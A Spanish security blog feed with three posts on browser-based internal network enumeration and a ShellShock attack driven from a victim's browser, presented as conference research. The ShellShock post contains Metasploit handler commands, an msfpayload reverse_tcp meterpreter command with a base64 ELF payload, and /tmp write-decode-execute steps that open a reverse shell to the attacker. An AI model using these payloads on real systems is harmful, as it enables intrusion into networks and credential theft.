tag:blogger.com,1999:blog-16127393965409670452024-03-14T11:17:34.366-07:00Code-DisasterProgramación e investigación sobre Malware y Seguridad Web.MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.comBlogger37125tag:blogger.com,1999:blog-1612739396540967045.post-87619614632956949752014-11-20T11:31:00.001-08:002014-11-20T11:31:30.173-08:00ShellShock Client-Side Scripting Attack: Explotar bugs de ShellShock en sistemas NO publicados a Internet<h5> </h5> <p>Hace unos días se celebró en <i><b>Barcelona</b></i> la conferencia de seguridad informática<i><b>NoConName 2014</b></i>, una de las conferencias más antiguas y respetadas en la comunidad “<i><b>hacking</b></i>” en <i><b>España</b></i>. En esta edición, hicimos pública <a href="https://www.blogger.com/%E2%80%9Dhttp://es.slideshare.net/elevenpaths/network-profiling-based-on-html-tags-injectionpublicar%E2%80%9D">la investigación detallada</a> que realizamos en <a href="https://www.elevenpaths.com/">Eleven Paths</a> sobre la posibilidad de utilizar las técnicas de <a href="http://es.slideshare.net/elevenpaths/network-profiling-based-on-html-tags-injectionpublicar">Javascript Port Scanning</a> para realizar, al menos, enumeración (<i><b>footprinting</b></i> y<i><b>fingerprinting</b></i>) de recursos internos de una red corporativa o una red doméstica. El trabajo se publicó en un par de artículos llamados <a href="http://blog.elevenpaths.com/2014/11/enumeracion-y-explotacion-de-recursos.html">Enumeración y explotación de recursos internos mediante Javascript/AJAX (I)</a> <a href="http://blog.elevenpaths.com/2014/11/enumeracion-y-explotacion-de-recursos_14.html">y (II)</a>: <p align="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja1JEOPdmytOt5Q5fiaEI_Oo8um7l0UzvyzUbDQTsuz0DLg7p2CKBtCTvK9KQoJp3c6jV2Kv4Zd1q3YpBzJPWBH2CkLF4HCJmHl7IOKmx7VFAD7uHxS-mPlt0sxRtVo_8bitajOZ-qg-Y/s1600/ShellShock_JS0.png"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja1JEOPdmytOt5Q5fiaEI_Oo8um7l0UzvyzUbDQTsuz0DLg7p2CKBtCTvK9KQoJp3c6jV2Kv4Zd1q3YpBzJPWBH2CkLF4HCJmHl7IOKmx7VFAD7uHxS-mPlt0sxRtVo_8bitajOZ-qg-Y/s1600/ShellShock_JS0.png" width="470"></a></p> <p align="center"><i>Figura 1: ShellShock Client-Side Scripting Attack</i> <p><b><u>Enumeración de la red interna de una empresa con visitar una web</u></b><br>Por resumir, el ataque es sencillo y podría utilizarse para atacar redes internas inyectando un <i><b>JavaScript</b></i> malicioso en una página web. Esto podría hacerse, por ejemplo, en un entorno de <a href="http://www.elladodelmal.com/2012/07/ataque-dirigido-con-javascript-botnet.html">JavaScript Botnet para hacer ataques dirigidos</a>. La "<i><b>víctima</b></i>” visitará una página web especialmente modificada para iniciar el ataque y el atacante recibirá información privada de la red desde el propio navegador web de la víctima. En la siguiente presentación tenéis un resumen del trabajo completo que expusimos.</p> <p align="center"><iframe style="margin-bottom: 5px; max-width: 100%; border-top: #ccc 1px solid; border-right: #ccc 1px solid; border-bottom: #ccc 1px solid; border-left: #ccc 1px solid" height="355" marginheight="0" src="//www.slideshare.net/slideshow/embed_code/41153409" frameborder="0" width="425" marginwidth="0" scrolling="no" allowfullscreen> </iframe> </p> <p align="center"><i>Figura 2: <a href="https://es.slideshare.net/elevenpaths/network-profiling-based-on-html-tags-injectionpublicar">Network profiling based on HTML tags injection</a></i> <p>La investigación profundiza en cómo es posible en la actualidad, utilizar este ataque en la mayor parte de navegadores web en diversos sistemas operativos, siendo posible enumerar direcciones IP internas vivas, puertos abiertos, cualquier tipo de servicio o software con interfaz web, enumeración de dominios, detección de impresoras, <i><b>UPS</b></i>, routers, etcétera. Al final, se demuestra como un navegador web puede ser utilizado como una herramienta de <i><b>pentesting</b></i> sin que el usuario víctima lo sepa. Estas técnicas son plenamente funcionales independientemente de si el navegador web está actualizado, o no, o de los permisos con los que se ejecute en el sistema operativo de la víctima ya que sería necesario aplicar medidas de fortificación extras en el navegador web para mitigar el ataque descrito.<br>Los resultados anteriores son suficientemente significativos, no obstante, existen otros vectores de ataque basados en este tipo de técnicas que son peligrosos y relativamente sencillos de explotar. Merece la pena pararse a pensar un poco en esto porque ... ¿suelen los equipos de seguridad actualizar las tecnologías vulnerables que no son visibles directamente en <i><b>Internet</b></i>? ¿estará actualizado nuestro <i><b>CMS</b></i> interno en una organización? ¿se ha aplicado el último parche al <i><b>WordPress</b></i>, <i><b>Joomla</b></i> o <i><b>Drupal</b></i>de la <i><b>Intranet</b></i>? ¿Está el <i><b>firmware</b></i> de nuestro <i><b>router</b></i> doméstico actualizado? ¿Es segura la aplicación interna de nuestra empresa que da acceso a la base de datos?<br><b><u>Explotar Shellshock en un equipo interno desde el navegador de otro</u></b><br>Para demostrar lo sencillo que resulta vulnerar equipos de una red interna, simplemente aprovechándose del hecho que una víctima en la misma red visite una página web determinada, se mostró en la <i><b>NoConName</b></i> una demostración usando el fallo de <a href="http://www.elladodelmal.com/2014/09/shellshock-puede-afectar-tu-web-tu.html">ShellShock</a> en un ataque que hemos denominado: <i><b>“ShellShock Client-Side Scripting Attack</b></i>”. Aunque con un poco de imaginación el lector advertirá que existen <a href="http://blog.elevenpaths.com/2014/11/enumeracion-y-explotacion-de-recursos.html">“multitud de variantes” y “ataques interesantes”</a> basados en estos mismos principios. El proceso para hacer un <i><b>Shellshock Client-Side Scripting Attack</b></i> sería:</p> <blockquote><i>1) La víctima está en una red que tiene un equipo vulnerable a la famosa<a href="http://www.elladodelmal.com/2014/09/shellshock-puede-afectar-tu-web-tu.html">vulnerabilidad Shellshock</a>. El equipo vulnerable no es accesible directamente desde <b>Internet</b>.</i></blockquote> <blockquote><i>2) El atacante construye una página web (o modifica una existente) e introduce código <b>HTML/Javascript</b> para enumerar direcciones <b>IP</b> vivas en la red de la víctima y detectar servicios/software/rutas conocidas en esas máquinas.</i></blockquote> <blockquote><i>3) La víctima carga una página web con el <b>“código malicioso”</b>, por ejemplo, con su navegador actualizado <b>Google Chrome</b>.</i></blockquote> <blockquote><i>4) El <b>“código malicioso”</b> detecta para una máquina viva un servicio conocido vulnerable a <a href="http://www.elladodelmal.com/2014/09/shellshock-puede-afectar-tu-web-tu.html">ShellShock</a>.</i></blockquote>Hasta este punto un funcionamiento más o menos normal de <i><b>footprinting</b></i> y<i><b>fingerprinting</b></i> utilizando la técnica de <a href="http://blog.elevenpaths.com/2014/11/enumeracion-y-explotacion-de-recursos.html">JavaScript Port Scanning</a>. Seguidamente lo que se va a forzar es que la página web modificada contenga un “<i><b>exploit</b></i>” de forma que cuando detecte un servicio vulnerable a <a href="http://www.elladodelmal.com/2014/09/shellshock-puede-afectar-tu-web-tu.html">Shellshock</a> se le pueda enviar el ataque desde el propio navegador web de la víctima. Una vez explotado el <i><b>bug</b></i>, qué realizar con el equipo vulnerable depende de la imaginación del atacante. <p align="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxYuq37VyUgJiG5UFjcBeTNQelWYJroUsIimL9Uorz9zNDvT50h_k4GGga9Zo2tssBC4URnDEhI038YAFCMkb2hYe2YYhUv_DcZQfOIxhYi6q3y4h6lnRFDo8ZiLiSwmKAIoaPCQKe72o/s1600/ShellShockJS_1.jpg"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxYuq37VyUgJiG5UFjcBeTNQelWYJroUsIimL9Uorz9zNDvT50h_k4GGga9Zo2tssBC4URnDEhI038YAFCMkb2hYe2YYhUv_DcZQfOIxhYi6q3y4h6lnRFDo8ZiLiSwmKAIoaPCQKe72o/s1600/ShellShockJS_1.jpg" width="470"></a></p> <p align="center"><i>Figura 3: Esquema de ataque ShellShock Client-Side Scripting Attack</i> <p>A continuación, demostraremos cómo es posible explotar el fallo, introducir una consola en el equipo vulnerable - usando un <i><b>meterpreter</b></i> de <a href="http://0xword.com/es/libros/30-libro-metasploit-pentester.html">Metasploit</a> - y devolver una conexión inversa al atacante. De esta forma, tendremos acceso a la máquina que no estaba visible desde <i><b>Internet</b></i> y habremos saltado, en muchas configuraciones reales, la seguridad perimetral existente en la red que da acceso a la red interna, incluso aunque haya configurados cortafuegos o zonas <i><b>DMZ</b></i> especiales.<br><b><u>ShellShock Client-Side Scripting Attack: Paso a paso</u></b></p> <blockquote><b><i>a) Configuración de listener de reverse-shell:</i></b> <i>El atacante utiliza el framework <a href="http://0xword.com/es/libros/30-libro-metasploit-pentester.html">Metasploit</a> para configurar la máquina que recibirá la información del equipo vulnerado. Para ello, pone a la escucha un handler en el puerto 4444 al que le va a llegar la conexión inversa del payload que se ejecutará en el equipo vulnerable. En el ejemplo que viene a continuación se muestra en un entorno local.</i></blockquote> <blockquote> <blockquote><i>use exploit/multi/handler</i><br><i>set payload linux/x86/meterpreter/reverse_tcp</i><br><i>set lhost 192.168.56.101</i><br><i>set lport 4444</i><br><i>exploi</i>t</blockquote></blockquote> <blockquote><i><b>b) Creación del payload de ShellShock:</b> El atacante crea el “payload” que se quiere ejecutar en la máquina vulnerable. Para ello, se utiliza msfpayload creando un payload con “<b>meterpreter/reverse_tcp</b>” en codificación base64 para facilitar su envío en peticiones HTTP.</i></blockquote> <blockquote><i>msfpayload linux/x86/meterpreter/reverse_tcp lhost=IP_ATACANTE lport=4444 X > p.bin && chmod 755 p1.bin && cat p1.bin | base64</i></blockquote> <blockquote><b><i>c) Nuestro payload:</i></b></blockquote> <blockquote><i>f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1torBAKDWgCABFcieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/+E=</i></blockquote> <blockquote><i><b>d) Ejecución de exploit:</b> El navegador de la víctima que ha cargado la página web con el payload, lanzará el “exploit” utilizando Javascript/AJAX a las máquinas/servicios vulnerables en la red interna.</i></blockquote> <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh70dMCcmG7-2ywmj-XCFUnvFSIZF3143T5DR-GaAtzkdK-UGaycuZKWmk7zweLH-1Ac6PEWop889nIVgOIxphvzBN4iVk6A-nSQvg9dVXLRsAQsuCg6VODCkwz6mME2DXGCY3bTM1L5vE/s1600/ShellShockJS_2.png"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh70dMCcmG7-2ywmj-XCFUnvFSIZF3143T5DR-GaAtzkdK-UGaycuZKWmk7zweLH-1Ac6PEWop889nIVgOIxphvzBN4iVk6A-nSQvg9dVXLRsAQsuCg6VODCkwz6mME2DXGCY3bTM1L5vE/s1600/ShellShockJS_2.png" width="615" height="131"></a> <p align="center"><i>Figura 4: Ejecución del exploit desde el navegador de la víctima</i> <blockquote><i>La tecnología <a href="http://en.wikipedia.org/wiki/Cross-origin_resource_sharing">CORS (Cross-Origin Resource Sharing) </a>alertará de esta situación en el navegador web - se puede ver en modo depuración - pero no impide que la petición sea realizada.</i></blockquote> <blockquote><i>e<b>) Ejecución del payload en la víctima</b>: En el ejemplo de la demo, el payload desarrollado explotará un CGI vulnerable a Shellshock en la máquina interna vulnerable. Las acciones que realizamos son:</i></blockquote> <blockquote><i>1. Payload en base64 se vuelca a un fichero en el sistema vulnerable:</i> <blockquote><i>f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1towKg4A2gCABFcieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/+E= > /tmp/p2.bin</i></blockquote><i>2. Se descodifica el bas64 y se vuelca el binario a otro fichero</i> <blockquote><i>/usr/bin/base64 -d /tmp/p2.bin > /tmp/p1.bin</i></blockquote><i>3. Se le da permisos de ejecución al payload</i> <blockquote><i>/bin/chmod 755 /tmp/p1.bin</i></blockquote><i>4. Se ejecuta el payload</i> <blockquote><i>/tmp/p1.bin</i></blockquote></blockquote> <blockquote><i><b>d) Ejecución de meterpreter:</b> La máquina/servicio vulnerable al ejecutar el payload devuelve un meterpreter al handler controlado por el atacante fuera de su red interna.</i></blockquote> <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwB1dee09pSeQcGKakueGFYbdnvMSlnrR_tNN293puOENvcbt5EOarUGolPkt0uAuTJSflZH6EOnBzJYEmtgzvxd_BU25LUaannizl4Uhujo9g1EC0Hz74Z-JSPIPwzsIU6ZuCMMkjMlg/s1600/ShellShockJS_3.png"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwB1dee09pSeQcGKakueGFYbdnvMSlnrR_tNN293puOENvcbt5EOarUGolPkt0uAuTJSflZH6EOnBzJYEmtgzvxd_BU25LUaannizl4Uhujo9g1EC0Hz74Z-JSPIPwzsIU6ZuCMMkjMlg/s1600/ShellShockJS_3.png" width="460"></a> <p align="center"><i>Figura 5: Recepción de la shell de Meterpreter de la víctima en la consola de Metasploit</i> <blockquote><i>En función de los permisos con los que se ejecute el CGI vulnerable, seremos administrador de la máquina o necesitaremos elevación de privilegios. En cualquier caso, se simplificará notablemente el acceso a la red interna y en la práctica hacernos con el control de mucha información y de la propia red.</i></blockquote> <p>Como se ha de suponer, se debe prestar atención a las diferentes formas de fortificar nuestros navegadores web evitando el máximo posible de opciones. Desde hace años existe un peligro real de que simplemente visitando una página web con cualquier navegador web actualizado la red de nuestra empresa esté en riesgo, por lo que cuantas más capas de seguridad internas y externas se apliquen, mejor que mejor.</p> <p align="right"><br><i>Autores:</i><br><i><b>Dr. Alfonso Muñoz</b></i><br><i><a href="https://www.elevenpaths.com/">Eleven Paths</a>. Escritor del libro de <a href="http://0xword.com/es/libros/36-libro-cifrado-comunicaciones-rsa.html">Criptográfica RSA</a> (<a href="https://twitter.com/mindcrypt">@mindcrypt</a> & <a href="https://twitter.com/criptored">@criptored</a>)</i><br><i><b>Ricardo Martín</b></i><br><i>Security & Quallity Assurance Engineer en <a href="https://www.elevenpaths.com/">Eleven Paths</a> (<a href="https://twitter.com/ricardo090489">@ricardo090489</a>)</i></p> MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com3tag:blogger.com,1999:blog-1612739396540967045.post-15963068598800539952014-11-20T11:27:00.001-08:002014-11-20T11:27:13.598-08:00Enumeración y explotación de recursos internos mediante Javascript/AJAX (y II)<h5> </h5> <p>Veamos la segunda parte de <a href="http://blog.elevenpaths.com/2014/11/enumeracion-y-explotacion-de-recursos.html">la entrada anterior</a> en la que se describirán nuevos escenarios de explotación y un escenario de ataque. En ella, observamos que es factible identificar recursos internos en una red corporativa o doméstica si un usuario visita una página web determinada. <b>El navegador de la víctima enviará la información detectada al atacante, típicamente vía JavaScript/AJAX. </b>En resumen, enumeramos recursos internos desde el exterior saltando las medidas de seguridad perimetral, toda la información se fuga vía protocolo HTTP desde un usuario legítimo de una organización.<br><b>Explotación y escenario de ataque</b><br>Esta técnica tiene un gran potencial, no solo por el hecho de permitir la enumeración, sino sobre todo, por aprovechar la propia enumeración para realizar ataques de explotación desde el exterior utilizando el navegador web de la víctima que visita la página web "maliciosa".<b> Existen muchos tipos de ataques posibles. </b>A continuación se expone un ataque diferente al expuesto en la NoConName y que muestra la flexibilidad a la hora de atacar sistemas.<br>Un usuario (víctima1) que utiliza navegador web Chrome (WebRTC) actualizado en su última versión, visita una página web (atacante). Este hecho desencadena la enumeración de direcciones IP vivas y la identificación de productos vulnerables a través de la identificación de rutas conocidas: <ul> <li>Wordpress: wp-admin/images/w-logo-blue.png <li>Moodle: /theme/standardwhite/favicon.ico <li>…</li></ul><br>Se identificará en la red un CMS (víctima2) vulnerable a una inyección SQL. El atacante utilizará a la víctima1 para inyectar el "exploit" en la víctima2 y conseguir extraer las credenciales de la base de datos al exterior. La víctima2 comunicará la información a la víctima1 y esta al atacante (otras configuraciones son posibles). <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpdwovmQ_QtEqhOqUqXwUWOT0nGgJPEYRx7Hd1gHD_SKpiZQWwWa0V1TZWEjzKh5oHQehTqXFOMoMMe6mJIMRkx_brs230y4iWrXucIxBPBpFUU0zzMsJhCWOdh0kDFn4aDav4ZFq07gA/s1600/6.png"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpdwovmQ_QtEqhOqUqXwUWOT0nGgJPEYRx7Hd1gHD_SKpiZQWwWa0V1TZWEjzKh5oHQehTqXFOMoMMe6mJIMRkx_brs230y4iWrXucIxBPBpFUU0zzMsJhCWOdh0kDFn4aDav4ZFq07gA/s640/6.png" width="640" height="300"></a> <p>Esquema de ataque <p>El exploit creado es muy sencillo. Consiste en la introducción en la página web visitada de un <i>iframe </i>con la inyección SQL y además una etiqueta HTML concreta que se concatenara con los resultados obtenidos de la base datos. Estos datos son leídos de la tabla "test" de una base de datos MySQL, que es accesible a través de una aplicación vulnerable a SQL y que simplificará la comunicación de estos datos al exterior.<br><b>Ejemplo de exploit</b> <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjAQCDMX0NliT-WU3vJIXmIPt4p723543qpFwnN4Hh-_4RhmYZzNnYGrqVKvntDGBwQmIRvHxT-lOIkt86Cp3FZqQLMHF4-335dgxUic0L2gtFKv4Spj-NTSIOlE9aTytk03w4EaFQMQo/s1600/ncn1.jpg"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjAQCDMX0NliT-WU3vJIXmIPt4p723543qpFwnN4Hh-_4RhmYZzNnYGrqVKvntDGBwQmIRvHxT-lOIkt86Cp3FZqQLMHF4-335dgxUic0L2gtFKv4Spj-NTSIOlE9aTytk03w4EaFQMQo/s640/ncn1.jpg" width="640" height="94"></a> <p>Nótese que se codifica en hexadecimal la etiqueta: <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1uEMCaTmIm2DTn-Lj2cH_ytXZt3sM2S5Or3Q2EIdZYK4kF5d1VORPT-wqSEUxBaFkggRMx9AbrxPT1_8HurzhF8iqVLTfoGvAJyEX9jsT6dv1Tb7H0FUORvFJFC9FZyHRiCRD0ESu5Po/s1600/ncn2.jpg"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1uEMCaTmIm2DTn-Lj2cH_ytXZt3sM2S5Or3Q2EIdZYK4kF5d1VORPT-wqSEUxBaFkggRMx9AbrxPT1_8HurzhF8iqVLTfoGvAJyEX9jsT6dv1Tb7H0FUORvFJFC9FZyHRiCRD0ESu5Po/s640/ncn2.jpg" width="640" height="40"></a> <p>Una vez ejecutada la inyección en la víctima2, la víctima1 tendrá en su <i>iframe </i>una etiqueta de tipo <i>img </i>por cada credencial (name, passwd) extraída de la base de datos. La ejecución de estas etiquetas permitirá el envío de las credenciales al atacante. <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-7anj8s_IBWp_T0Gw0Uz911WI_262GRVcfyHAqiXbuiQYfZTQBIq9Kt_ERHBLVbNxQyniBKDEemJlxc8NUUjwEdnHnELTrexPmtv9TOffZHNbmzo4zGnp6B_hpb5paRTbTwZgPmwvUNo/s1600/ncn3.jpg"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-7anj8s_IBWp_T0Gw0Uz911WI_262GRVcfyHAqiXbuiQYfZTQBIq9Kt_ERHBLVbNxQyniBKDEemJlxc8NUUjwEdnHnELTrexPmtv9TOffZHNbmzo4zGnp6B_hpb5paRTbTwZgPmwvUNo/s640/ncn3.jpg" width="640" height="44"></a> <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiA8-mqRmlcs_hV-IRVqZOPz6VJ9bqJgXsAiUXM2OFNyrtf3bCD4yc4SfecURSFe5D0kdY0tBl0biRjdjj0s6J16dMqCbUFDklfEtcR6Bvrh3WhV0sVSnxUar58NoqMPpFl1I8AKDVHCM/s1600/7.png"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiA8-mqRmlcs_hV-IRVqZOPz6VJ9bqJgXsAiUXM2OFNyrtf3bCD4yc4SfecURSFe5D0kdY0tBl0biRjdjj0s6J16dMqCbUFDklfEtcR6Bvrh3WhV0sVSnxUar58NoqMPpFl1I8AKDVHCM/s640/7.png" width="640" height="368"></a> <p>Detalle del código JavaScript del exploit <p><b>Conclusiones</b><br>La técnica de enumeración basada en el comportamiento temporal o de carga de un navegador web cuando localiza recursos, puede ser utilizada en la actualidad con gran provecho. Especialmente reseñable es su funcionamiento en cualquier navegador actual en su última versión y la posibilidad de <b>utilizar el propio navegador web como si de una herramienta más de pentesting se tratará, </b>identificando recursos internos y facilitando la explotación de vulnerabilidades, como puede deducirse evitando medidas de seguridad perimetral clásicas.<br>Hoy, el único remedio contra estos ataques es buscar mitigaciones en la configuración de los navegadores web (por defecto deshabilitadas), limitando la ejecución de código JavaScript/AJAX o definiendo políticas que limiten la acción de contenido cargado desde Internet.<br>* <a href="http://blog.elevenpaths.com/2014/11/enumeracion-y-explotacion-de-recursos.html">Enumeración y explotación de recursos internos mediante Javascript/AJAX (I)</a> <p align="right">Dr. Alfonso Muñoz <p align="right">alfonso.munoz@11paths.com<br><a href="https://twitter.com/mindcrypt">@mindcrypt</a></p> <p align="right">Ricardo Martín <p align="right"><a href="mailto:ricardo.mart%C3%ADnz@11paths.com">ricardo.martínz@11paths.com</a><a href="https://www.blogger.com/null" name="_GoBack"></a><br><a href="https://twitter.com/ricardo090489">@ricardo090489</a></p> MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0tag:blogger.com,1999:blog-1612739396540967045.post-4509940939979839252014-11-20T11:24:00.001-08:002014-11-20T11:24:03.343-08:00Enumeración y explotación de recursos internos mediante Javascript/AJAX (I)<h5> </h5> <h5>En 2006, el investigador <a href="https://www.blackhat.com/html/bh-usa-06/bh-usa-06-speakers.html#Grossman">Jeremiah Grossman presentó en la conferencia de seguridad informática BlackHat</a>, un estudio sobre la posibilidad de utilizar los tiempos de respuesta de un navegador web, cuando busca un recurso concreto, para obtener información privada de una red corporativa. Un recurso no deja de ser algo tan sencillo como por ejemplo una ruta que apunta a una imagen de un servidor web. Lo interesante de este ataque es que <b>un recurso puede ser cosas tan variadas como una dirección IP, un nombre de dominio, un recurso web compartido, etc.</b> La utilización de este tipo de recursos permite enumerar servicios y tecnologías presentes en el entorno donde se ejecute la página web especialmente modificada.<br>La idea es sencilla, utilizando una o más etiquetas HTML (por ejemplo una etiqueta "IMG"), en una página web modificada, se podría apuntar a un "recurso" y mediante JavaScript se podría detectar si el recurso se ha encontrado (el navegador ha recibido respuesta rápida) o no (el temporizador del navegador expira para la búsqueda de ese recurso).</h5> <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLFZ3l90f2aVhMW-I7CIpVyXv3T4qEKddgDX_PS2aPt2kXMn5L2XXsBboSHGDJfLYHNvqiUqUPrevk3B3VO9Z9-RH0gQnbYjcsxdJ3WCSP-P0GphsKeNpbeOcNNrs3LTpc8g8TXv6lxU8/s1600/1.png"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLFZ3l90f2aVhMW-I7CIpVyXv3T4qEKddgDX_PS2aPt2kXMn5L2XXsBboSHGDJfLYHNvqiUqUPrevk3B3VO9Z9-RH0gQnbYjcsxdJ3WCSP-P0GphsKeNpbeOcNNrs3LTpc8g8TXv6lxU8/s640/1.png" width="640" height="40"></a> <p>Desde 2006 se han publicado diversos resultados del potencial de esta técnica con ciertas variantes, por ejemplo, con <a href="http://2011.appsecusa.org/p/pwn.pdf">HTML5</a> o <a href="http://jeremiahgrossman.blogspot.com.es/2006/11/browser-port-scanning-without.html">CSS</a>. Por desgracia, las investigaciones publicadas carecen de la suficiente información para evaluar si estos procedimientos funcionan en entornos reales (diferentes navegadores web, diferentes sistemas operativos, redes heterogéneas, etc.) y bajo qué condiciones.<br>Con el objetivo de evaluar la utilidad de esta técnica <b>presentamos un estudio en la conferencia NoConName 2014 que se celebró en Barcelona del 31 al 1 de noviembre.</b> En ella presentamos nuestras conclusiones sobre el potencial de este tipo de técnicas, cuál es su utilidad en entornos reales y lo más importante: <b>cómo puede ser utilizada de múltiples formas para vulnerar recursos internos de una organización o red doméstica que no son visibles desde Internet.</b><br>La investigación <b><a href="http://es.slideshare.net/elevenpaths/network-profiling-based-on-html-tags-injectionpublicar">"Network Profiling based on HTML tags injection" </a></b>realizada por el Dr. Alfonso Muñoz y Ricardo Martín muestra algunos resultados destacables.<br><b>Idea</b><br>Una víctima visita una página web vulnerable (especialmente creada o que contiene un código JavaScript añadido) con su navegador web actualizado. Este hecho provocará fuga de información interna evitando cualquier protección de seguridad perimetral.<br><b>¿Qué podemos hacer? </b><br>Identificar sistemas operativos de una red, escaneo de red, puertos, enumeración de software/hardware de red, identificación de impresoras, routers, UPS, enumeración de dominios, etc.<br><b>Etiquetas HTML útiles y navegadores web actuales </b><br>Existen diversas etiquetas HTML que pueden ser utilizadas para apuntar a los recursos deseados. Las pruebas indican que este tipo de ataques son plenamente funcionales en los navegadores web actuales. Por ejemplo, para los navegadores actuales en Windows 8.1 se puede observar que: <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbeOUxzN_EkrdCb3ewysk2rGpga0HXFsy7__NQNkWfEAbc9RGP8J9UwGqULvzDh4STMc92_4374cfult-Cu1ngiNgx1yyas9nBvC-_N6mRtER4x9WEQue3Q-h2R6VZD-RItPqujdmrCpw/s1600/2.png"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbeOUxzN_EkrdCb3ewysk2rGpga0HXFsy7__NQNkWfEAbc9RGP8J9UwGqULvzDh4STMc92_4374cfult-Cu1ngiNgx1yyas9nBvC-_N6mRtER4x9WEQue3Q-h2R6VZD-RItPqujdmrCpw/s640/2.png" width="640" height="258"></a> <p><b>Tiempos en el acceso a recursos</b><br>La mayoría de navegadores web (en función del sistema operativo donde se ejecuten) tendrán un temporizador similar, es decir, definirán un tiempo máximo de espera a que el "recurso" conteste. Este tiempo viene fijado por el timeout de la conexión TCP establecido en el sistema operativo. <b>En el caso de Windows 8.1 será de 21 segundos.</b> <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz5U4TgN_9Kd_04HUivlJEYj4K0G-tLP3OU4kIDH2qibhIiq7l1rPt70SMq2xla1tLf9WWzk_FVAQvjaedZ8qIQ_6NbbUw7THs0fX3YILdx3d0swwj3NlXoP0POle0vZAKq1OuuX9ewRE/s1600/3.png"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz5U4TgN_9Kd_04HUivlJEYj4K0G-tLP3OU4kIDH2qibhIiq7l1rPt70SMq2xla1tLf9WWzk_FVAQvjaedZ8qIQ_6NbbUw7THs0fX3YILdx3d0swwj3NlXoP0POle0vZAKq1OuuX9ewRE/s640/3.png" width="640" height="360"></a> <p>Si la máquina donde reside el recurso "emite" una respuesta, esta se producirá inmediatamente en unas pocas decenas o centenas de milisegundos (abre conexión o rechaza conexión). Si no se recibe respuesta del recurso, el navegador web esperará hasta que venza el timeout de 21 segundos o 7 segundos en el caso de IE. Este comportamiento es replicable, con otros valores de timeout, a otros sistemas operativos.<br>Indirectamente, estos timeouts, si se comunican desde la víctima al atacante, permitirían además <b>obtener más información sobre el tipo de sistema operativo que utiliza la víctima </b>que ha visitado la página web modificada. <p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7RjH0gGvCy8dLDIGn1mtka-y-0CUq4-McG6l_HtNHXutrOE7YdidbZamOOkH1BMYMhxh81NDr8RcZZNSSBxkwgzwcZsD53Ov6g3OBqpR2_RDLlXtRhIA5tisqKySwWuYDmzqU6V7Yvig/s1600/4.png"><img style="float: none; margin-left: auto; display: block; margin-right: auto" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7RjH0gGvCy8dLDIGn1mtka-y-0CUq4-McG6l_HtNHXutrOE7YdidbZamOOkH1BMYMhxh81NDr8RcZZNSSBxkwgzwcZsD53Ov6g3OBqpR2_RDLlXtRhIA5tisqKySwWuYDmzqU6V7Yvig/s640/4.png" width="640" height="316"></a> <p>Comparativa de timeouts entre dos sistemas operativos al visitar diferentes recursos <p><b>Enumeración de red. Equipos y topología </b><br>Con la técnica analizada se puede descubrir información privada de una red a través de nombres/urls/rutas conocidas o que se puedan predecir mediante un diccionario. Por ejemplo, software de red, impresoras, nombres de dominio, etc. Un caso especialmente interesante<b> es la posibilidad de utilizar los navegadores web (en este caso el navegador web de la víctima) como si de una herramienta de pentesting se tratara. </b>En concreto, demostrar cómo mediante una página especialmente modificada es posible generar un comportamiento similar a ejecutar la herramienta nmap en la red interna pero desde una página web que se carga desde Internet y que no tiene acceso a la red interna. 